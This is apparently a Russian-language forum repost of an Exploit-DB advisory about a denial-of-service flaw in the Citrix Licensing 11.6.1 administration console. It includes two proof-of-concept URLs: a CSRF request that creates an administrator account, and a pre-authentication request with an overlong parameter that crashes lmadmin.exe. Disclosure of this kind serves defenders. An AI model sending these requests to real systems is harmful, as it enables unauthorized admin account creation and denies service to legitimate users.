Exploit Citrix 11.6.1 - Licensing Administration Console Denial of Service

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
36969
Проверка EDB
  1. Пройдено
Автор
RUNE
Тип уязвимости
DOS
Платформа
WINDOWS
CVE
N/A
Дата публикации
2012-03-15
Citrix 11.6.1 - Licensing Administration Console Denial of Service
Код:
source:  https://www.securityfocus.com/bid/52522/info

Citrix Licensing is prone to a denial-of-service vulnerability.

A remote attacker can leverage this issue to crash the affected application, denying service to legitimate users.

Citrix Licensing 11.6.1 build 10007 is vulnerable; other versions may also be affected. 

Proof-of-Concept:
http://www.example.com/users?licenseTab=&selected=&userName=xsrf&firstName=xsrf&lastName=xsrf&password2=xsrf&confirm=xsrf&accountType=admin&originalAccountType=&Create=Save(Administrator CSRF)

http://www.example.com/dashboard?<something long here>=2 (pre auth DoS, crashes lmadmin.exe)
 
Источник
www.exploit-db.com

Похожие темы